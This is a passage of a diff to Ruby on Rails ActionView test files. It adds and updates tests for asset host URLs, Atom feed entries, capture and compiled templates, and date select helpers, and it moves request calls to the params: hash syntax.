@@ -546,6 +557,14 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal "http://cdn.example.com/images/file.png", image_path("file.png")
   end
 
+  def test_image_url_with_asset_host_proc_returning_nil
+    @controller.config.asset_host = Proc.new { nil }
+    @controller.request = Struct.new(:base_url, :script_name).new("http://www.example.com", nil)
+
+    assert_equal "/images/rails.png", image_path("rails.png")
+    assert_equal "http://www.example.com/images/rails.png", image_url("rails.png")
+  end
+
   def test_caching_image_path_with_caching_and_proc_asset_host_using_request
     @controller.config.asset_host = Proc.new do |source, request|
       if request.ssl?
@@ -596,6 +615,10 @@ class AssetTagHelperNonVhostTest < ActionView::TestCase
     assert_equal "gopher://www.example.com", compute_asset_host("foo", :protocol => :request)
   end
 
+  def test_should_return_custom_host_if_passed_in_options
+    assert_equal "http://custom.example.com", compute_asset_host("foo", :host => "http://custom.example.com")
+  end
+
   def test_should_ignore_relative_root_path_on_complete_url
     assert_dom_equal(%(http://www.example.com/images/xml.png), image_path("http://www.example.com/images/xml.png"))
   end
@@ -759,4 +782,15 @@ class AssetUrlHelperEmptyModuleTest < ActionView::TestCase
     assert @module.config.asset_host
     assert_equal "http://www.example.com/foo", @module.asset_url("foo")
   end
+
+  def test_asset_url_with_custom_asset_host
+    @module.instance_eval do
+      def config
+        Struct.new(:asset_host).new("http://www.example.com")
+      end
+    end
+
+    assert @module.config.asset_host
+    assert_equal "http://custom.example.com/foo", @module.asset_url("foo", :host => "http://custom.example.com")
+  end
 end
diff --git a/actionview/test/template/atom_feed_helper_test.rb b/actionview/test/template/atom_feed_helper_test.rb
index 63b5ac0fab..525d99750d 100644
--- a/actionview/test/template/atom_feed_helper_test.rb
+++ b/actionview/test/template/atom_feed_helper_test.rb
@@ -62,6 +62,23 @@ class ScrollsController < ActionController::Base
           end
         end
     EOT
+    FEEDS["entry_url_false_option"] = <<-EOT
+        atom_feed do |feed|
+          feed.title("My great blog!")
+          feed.updated((@scrolls.first.created_at))
+
+          @scrolls.each do |scroll|
+            feed.entry(scroll, :url => false) do |entry|
+              entry.title(scroll.title)
+              entry.content(scroll.body, :type => 'html')
+
+              entry.author do |author|
+                author.name("DHH")
+              end
+            end
+          end
+        end
+    EOT
     FEEDS["xml_block"] = <<-EOT
         atom_feed do |feed|
           feed.title("My great blog!")
@@ -214,28 +231,28 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_should_use_default_language_if_none_is_given
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
+      get :index, params: { id: "defaults" }
       assert_match(%r{xml:lang="en-US"}, @response.body)
     end
   end
 
   def test_feed_should_include_two_entries
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
+      get :index, params: { id: "defaults" }
       assert_select "entry", 2
     end
   end
 
   def test_entry_should_only_use_published_if_created_at_is_present
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
+      get :index, params: { id: "defaults" }
       assert_select "published", 1
     end
   end
 
   def test_providing_builder_to_atom_feed
     with_restful_routing(:scrolls) do
-      get :index, :id=>"provide_builder"
+      get :index, params: { id: "provide_builder" }
       # because we pass in the non-default builder, the content generated by the
       # helper should go 'nowhere'.  Leaving the response body blank.
       assert @response.body.blank?
@@ -244,7 +261,7 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_entry_with_prefilled_options_should_use_those_instead_of_querying_the_record
     with_restful_routing(:scrolls) do
-      get :index, :id => "entry_options"
+      get :index, params: { id: "entry_options" }
 
       assert_select "updated", Time.utc(2007, 1, 1).xmlschema
       assert_select "updated", Time.utc(2007, 1, 2).xmlschema
@@ -253,21 +270,21 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_self_url_should_default_to_current_request_url
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
-      assert_select "link[rel=self][href=http://www.nextangle.com/scrolls?id=defaults]"
+      get :index, params: { id: "defaults" }
+      assert_select "link[rel=self][href=\"http://www.nextangle.com/scrolls?id=defaults\"]"
     end
   end
 
   def test_feed_id_should_be_a_valid_tag
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
+      get :index, params: { id: "defaults" }
       assert_select "id", :text => "tag:www.nextangle.com,2008:/scrolls?id=defaults"
     end
   end
 
   def test_entry_id_should_be_a_valid_tag
     with_restful_routing(:scrolls) do
-      get :index, :id => "defaults"
+      get :index, params: { id: "defaults" }
       assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/1"
       assert_select "entry id", :text => "tag:www.nextangle.com,2008:Scroll/2"
     end
@@ -275,14 +292,14 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_should_allow_nested_xml_blocks
     with_restful_routing(:scrolls) do
-      get :index, :id => "xml_block"
+      get :index, params: { id: "xml_block" }
       assert_select "author name", :text => "DHH"
     end
   end
 
   def test_feed_should_include_atomPub_namespace
     with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_atomPub_namespace"
+      get :index, params: { id: "feed_with_atomPub_namespace" }
       assert_match %r{xml:lang="en-US"}, @response.body
       assert_match %r{xmlns="http://www.w3.org/2005/Atom"}, @response.body
       assert_match %r{xmlns:app="http://www.w3.org/2007/app"}, @response.body
@@ -291,7 +308,7 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_should_allow_overriding_ids
     with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_overridden_ids"
+      get :index, params: { id: "feed_with_overridden_ids" }
       assert_select "id", :text => "tag:test.rubyonrails.org,2008:test/"
       assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:1"
       assert_select "entry id", :text => "tag:test.rubyonrails.org,2008:2"
@@ -300,7 +317,7 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_xml_processing_instructions
     with_restful_routing(:scrolls) do
-      get :index, :id => 'feed_with_xml_processing_instructions'
+      get :index, params: { id: 'feed_with_xml_processing_instructions' }
       assert_match %r{<\?xml-stylesheet [^\?]*type="text/css"}, @response.body
       assert_match %r{<\?xml-stylesheet [^\?]*href="t.css"}, @response.body
     end
@@ -308,7 +325,7 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_xml_processing_instructions_duplicate_targets
     with_restful_routing(:scrolls) do
-      get :index, :id => 'feed_with_xml_processing_instructions_duplicate_targets'
+      get :index, params: { id: 'feed_with_xml_processing_instructions_duplicate_targets' }
       assert_match %r{<\?target1 (a="1" b="2"|b="2" a="1")\?>}, @response.body
       assert_match %r{<\?target1 (c="3" d="4"|d="4" c="3")\?>}, @response.body
     end
@@ -316,24 +333,31 @@ class AtomFeedTest < ActionController::TestCase
 
   def test_feed_xhtml
     with_restful_routing(:scrolls) do
-      get :index, :id => "feed_with_xhtml_content"
+      get :index, params: { id:  "feed_with_xhtml_content" }
       assert_match %r{xmlns="http://www.w3.org/1999/xhtml"}, @response.body
-      assert_select "summary div p", :text => "Something Boring"
-      assert_select "summary div p", :text => "after 2"
+      assert_select "summary", :text => /Something Boring/
+      assert_select "summary", :text => /after 2/
     end
   end
 
   def test_feed_entry_type_option_default_to_text_html
     with_restful_routing(:scrolls) do
-      get :index, :id => 'defaults'
-      assert_select "entry link[rel=alternate][type=text/html]"
+      get :index, params: { id: 'defaults' }
+      assert_select "entry link[rel=alternate][type=\"text/html\"]"
     end
   end
 
   def test_feed_entry_type_option_specified
     with_restful_routing(:scrolls) do
-      get :index, :id => 'entry_type_options'
-      assert_select "entry link[rel=alternate][type=text/xml]"
+      get :index, params: { id: 'entry_type_options' }
+      assert_select "entry link[rel=alternate][type=\"text/xml\"]"
+    end
+  end
+
+  def test_feed_entry_url_false_option_adds_no_link
+    with_restful_routing(:scrolls) do
+      get :index, params: { id: 'entry_url_false_option' }
+      assert_select "entry link", false
     end
   end
 
diff --git a/actionview/test/template/capture_helper_test.rb b/actionview/test/template/capture_helper_test.rb
index 938f1c3e54..f213da5934 100644
--- a/actionview/test/template/capture_helper_test.rb
+++ b/actionview/test/template/capture_helper_test.rb
@@ -207,29 +207,6 @@ class CaptureHelperTest < ActionView::TestCase
     assert_equal "", @av.with_output_buffer {}
   end
 
-  def test_flush_output_buffer_concats_output_buffer_to_response
-    view = view_with_controller
-    assert_equal [], view.response.body_parts
-
-    view.output_buffer << 'OMG'
-    view.flush_output_buffer
-    assert_equal ['OMG'], view.response.body_parts
-    assert_equal '', view.output_buffer
-
-    view.output_buffer << 'foobar'
-    view.flush_output_buffer
-    assert_equal ['OMG', 'foobar'], view.response.body_parts
-    assert_equal '', view.output_buffer
-  end
-
-  def test_flush_output_buffer_preserves_the_encoding_of_the_output_buffer
-    view = view_with_controller
-    alt_encoding = alt_encoding(view.output_buffer)
-    view.output_buffer.force_encoding(alt_encoding)
-    flush_output_buffer
-    assert_equal alt_encoding, view.output_buffer.encoding
-  end
-
   def alt_encoding(output_buffer)
     output_buffer.encoding == Encoding::US_ASCII ? Encoding::UTF_8 : Encoding::US_ASCII
   end
diff --git a/actionview/test/template/compiled_templates_test.rb b/actionview/test/template/compiled_templates_test.rb
index 2336321f3e..f6c1283b92 100644
--- a/actionview/test/template/compiled_templates_test.rb
+++ b/actionview/test/template/compiled_templates_test.rb
@@ -1,15 +1,12 @@
 require 'abstract_unit'
 
 class CompiledTemplatesTest < ActiveSupport::TestCase
-  def setup
-    # Clean up any details key cached to expose failures
-    # that otherwise would appear just on isolated tests
+  teardown do
     ActionView::LookupContext::DetailsKey.clear
+  end
 
-    @compiled_templates = ActionView::CompiledTemplates
-    @compiled_templates.instance_methods.each do |m|
-      @compiled_templates.send(:remove_method, m) if m =~ /^_render_template_/
-    end
+  def test_template_with_nil_erb_return
+    assert_equal "This is nil: \n", render(:template => "test/nil_return")
   end
 
   def test_template_gets_recompiled_when_using_different_keys_in_local_assigns
diff --git a/actionview/test/template/date_helper_test.rb b/actionview/test/template/date_helper_test.rb
index 5f09aef249..bfb073680e 100644
--- a/actionview/test/template/date_helper_test.rb
+++ b/actionview/test/template/date_helper_test.rb
@@ -326,6 +326,16 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_month(8, :add_month_numbers => true)
   end
 
+  def test_select_month_with_format_string
+    expected = %(<select id="date_month" name="date[month]">\n)
+    expected << %(<option value="1">January (01)</option>\n<option value="2">February (02)</option>\n<option value="3">March (03)</option>\n<option value="4">April (04)</option>\n<option value="5">May (05)</option>\n<option value="6">June (06)</option>\n<option value="7">July (07)</option>\n<option value="8" selected="selected">August (08)</option>\n<option value="9">September (09)</option>\n<option value="10">October (10)</option>\n<option value="11">November (11)</option>\n<option value="12">December (12)</option>\n)
+    expected << "</select>\n"
+
+    format_string = '%{name} (%<number>02d)'
+    assert_dom_equal expected, select_month(Time.mktime(2003, 8, 16), :month_format_string => format_string)
+    assert_dom_equal expected, select_month(8, :month_format_string => format_string)
+  end
+
   def test_select_month_with_numbers_and_names_with_abbv
     expected = %(<select id="date_month" name="date[month]">\n)
     expected << %(<option value="1">1 - Jan</option>\n<option value="2">2 - Feb</option>\n<option value="3">3 - Mar</option>\n<option value="4">4 - Apr</option>\n<option value="5">5 - May</option>\n<option value="6">6 - Jun</option>\n<option value="7">7 - Jul</option>\n<option value="8" selected="selected">8 - Aug</option>\n<option value="9">9 - Sep</option>\n<option value="10">10 - Oct</option>\n<option value="11">11 - Nov</option>\n<option value="12">12 - Dec</option>\n)
@@ -1030,6 +1040,22 @@ class DateHelperTest < ActionView::TestCase
     assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true})
   end
 
+  def test_select_date_with_css_classes_option_and_html_class_option
+    expected =  %(<select id="date_first_year" name="date[first][year]" class="datetime optional year">\n)
+    expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_month" name="date[first][month]" class="datetime optional month">\n)
+    expected << %(<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option value="6">June</option>\n<option value="7">July</option>\n<option value="8" selected="selected">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n)
+    expected << "</select>\n"
+
+    expected << %(<select id="date_first_day" name="date[first][day]" class="datetime optional day">\n)
+    expected << %(<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16" selected="selected">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n)
+    expected << "</select>\n"
+
+    assert_dom_equal expected, select_date(Time.mktime(2003, 8, 16), {:start_year => 2003, :end_year => 2005, :prefix => "date[first]", :with_css_classes => true}, { class: 'datetime optional' })
+  end
+
   def test_select_datetime
     expected =  %(<select id="date_first_year" name="date[first][year]">\n)
     expected << %(<option value="2003" selected="selected">2003</option>\n<option value="2004">2004</option>\n<option value="2005">2005</option>\n)
@@ -1478,7 +1504,7 @@ class DateHelperTest < ActionView::TestCase
     expected << %(<option value="">Choose seconds</option>\n<option value="00">00</option>\n<option value="01">01</option>\n<option value="02">02</option>\n<option value="03">03</option>\n<option value="04">04</option>\n<option value="05">05</option>\n<option value="06">06</option>\n<option value="07">07</option>\n<option value="08">08</option>\n<option value="09">09</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18" selected="selected">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n<option value="32">32</option>\n<option value="33">33</option>\n<option value="34">34</option>\n<option value="35">35</option>\n<option value="36">36</option>\n<option value="37">37</option>\n<option value="38">38</option>\n<option value="39">39</option>\n<option value="40">40</option>\n<option value="41">41</option>\n<option value="42">42</option>\n<option value="43">43</option>\n<option value="44">44</option>\n<option value="45">45</option>\n<option value="46">46</option>\n<option value="47">47</option>\n<option value="48">48</option>\n<option value="49">49</option>\n<option value="50">50</option>\n<option value="51">51</option>\n<option value="52">52</option>\n<option value="53">53</option>\n<option value="54">54</option>\n<option value="55">55</option>\n<option value="56">56</option>\n<option value="57">57</option>\n<option value="58">58</option>\n<option value="59">59</option>\n)
     expected << "</select>\n"
 
-    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :prompt => true, :include_seconds => true,
+    assert_dom_equal expected, select_time(Time.mktime(2003, 8, 16, 8, 4, 18), :include_seconds => true,
       :prompt => {:hour => 'Choose hour', :minute => 'Choose minute', :second => 'Choose seconds'})
   end
 
@@ -1626,9 +1652,9 @@ class DateHelperTest < ActionView::TestCase
       concat f.date_select(:written_on)
     end
 
-    expected = "<select id='post_written_on_1i' name='post[written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_written_on_2i' name='post[written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_written_on_3i' name='post[written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+    expected = %{<select id="post_written_on_1i" name="post[written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected << %{<select id="post_written_on_2i" name="post[written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_written_on_3i" name="post[written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
     assert_dom_equal(expected, output_buffer)
   end
@@ -1642,9 +1668,9 @@ class DateHelperTest < ActionView::TestCase
       concat f.date_select(:written_on)
     end
 
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
     assert_dom_equal(expected, output_buffer)
   end
@@ -1658,9 +1684,10 @@ class DateHelperTest < ActionView::TestCase
       concat f.date_select(:written_on)
     end
 
-    expected = "<select id='post_#{id}_written_on_1i' name='post[#{id}][written_on(1i)]'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_2i' name='post[#{id}][written_on(2i)]'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_#{id}_written_on_3i' name='post[#{id}][written_on(3i)]'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
+
+    expected = %{<select id="post_#{id}_written_on_1i" name="post[#{id}][written_on(1i)]">\n<option value="1999">1999</option>\n<option value="2000">2000</option>\n<option value="2001">2001</option>\n<option value="2002">2002</option>\n<option value="2003">2003</option>\n<option selected="selected" value="2004">2004</option>\n<option value="2005">2005</option>\n<option value="2006">2006</option>\n<option value="2007">2007</option>\n<option value="2008">2008</option>\n<option value="2009">2009</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_2i" name="post[#{id}][written_on(2i)]">\n<option value="1">January</option>\n<option value="2">February</option>\n<option value="3">March</option>\n<option value="4">April</option>\n<option value="5">May</option>\n<option selected="selected" value="6">June</option>\n<option value="7">July</option>\n<option value="8">August</option>\n<option value="9">September</option>\n<option value="10">October</option>\n<option value="11">November</option>\n<option value="12">December</option>\n</select>\n}
+    expected << %{<select id="post_#{id}_written_on_3i" name="post[#{id}][written_on(3i)]">\n<option value="1">1</option>\n<option value="2">2</option>\n<option value="3">3</option>\n<option value="4">4</option>\n<option value="5">5</option>\n<option value="6">6</option>\n<option value="7">7</option>\n<option value="8">8</option>\n<option value="9">9</option>\n<option value="10">10</option>\n<option value="11">11</option>\n<option value="12">12</option>\n<option value="13">13</option>\n<option value="14">14</option>\n<option selected="selected" value="15">15</option>\n<option value="16">16</option>\n<option value="17">17</option>\n<option value="18">18</option>\n<option value="19">19</option>\n<option value="20">20</option>\n<option value="21">21</option>\n<option value="22">22</option>\n<option value="23">23</option>\n<option value="24">24</option>\n<option value="25">25</option>\n<option value="26">26</option>\n<option value="27">27</option>\n<option value="28">28</option>\n<option value="29">29</option>\n<option value="30">30</option>\n<option value="31">31</option>\n</select>\n}
 
     assert_dom_equal(expected, output_buffer)
   end
@@ -2303,7 +2330,7 @@ class DateHelperTest < ActionView::TestCase
     # The love zone is UTC+0
     mytz = Class.new(ActiveSupport::TimeZone) {
       attr_accessor :now
-    }.create('tenderlove', 0)
+    }.create('tenderlove', 0, ActiveSupport::TimeZone.find_tzinfo('UTC'))
 
     now       = Time.mktime(2004, 6, 15, 16, 35, 0)
     mytz.now  = now
@@ -2348,11 +2375,11 @@ class DateHelperTest < ActionView::TestCase
       concat f.datetime_select(:updated_at, {}, :class => 'selector')
     end
 
-    expected = "<select id='post_updated_at_1i' name='post[updated_at(1i)]' class='selector'>\n<option value='1999'>1999</option>\n<option value='2000'>2000</option>\n<option value='2001'>2001</option>\n<option value='2002'>2002</option>\n<option value='2003'>2003</option>\n<option selected='selected' value='2004'>2004</option>\n<option value='2005'>2005</option>\n<option value='2006'>2006</option>\n<option value='2007'>2007</option>\n<option value='2008'>2008</option>\n<option value='2009'>2009</option>\n</select>\n"
-    expected << "<select id='post_updated_at_2i' name='post[updated_at(2i)]' class='selector'>\n<option value='1'>January</option>\n<option value='2'>February</option>\n<option value='3'>March</option>\n<option value='4'>April</option>\n<option value='5'>May</option>\n<option selected='selected' value='6'>June</option>\n<option value='7'>July</option>\n<option value='8'>August</option>\n<option value='9'>September</option>\n<option value='10'>October</option>\n<option value='11'>November</option>\n<option value='12'>December</option>\n</select>\n"
-    expected << "<select id='post_updated_at_3i' name='post[updated_at(3i)]' class='selector'>\n<option value='1'>1</option>\n<option value='2'>2</option>\n<option value='3'>3</option>\n<option value='4'>4</option>\n<option value='5'>5</option>\n<option value='6'>6</option>\n<option value='7'>7</option>\n<option value='8'>8</option>\n<option value='9'>9</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option selected='selected' value='15'>15</option>\n<option value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n<option value='24'>24</option>\n<option value='25'>25</option>\n<option value='26'>26</option>\n<option value='27'>27</option>\n<option value='28'>28</option>\n<option value='29'>29</option>\n<option value='30'>30</option>\n<option value='31'>31</option>\n</select>\n"
-    expected << " &mdash; <select id='post_updated_at_4i' name='post[updated_at(4i)]' class='selector'>\n<option value='00'>00</option>\n<option value='01'>01</option>\n<option value='02'>02</option>\n<option value='03'>03</option>\n<option value='04'>04</option>\n<option value='05'>05</option>\n<option value='06'>06</option>\n<option value='07'>07</option>\n<option value='08'>08</option>\n<option value='09'>09</option>\n<option value='10'>10</option>\n<option value='11'>11</option>\n<option value='12'>12</option>\n<option value='13'>13</option>\n<option value='14'>14</option>\n<option value='15'>15</option>\n<option selected='selected' value='16'>16</option>\n<option value='17'>17</option>\n<option value='18'>18</option>\n<option value='19'>19</option>\n<option value='20'>20</option>\n<option value='21'>21</option>\n<option value='22'>22</option>\n<option value='23'>23</option>\n</select>\n"
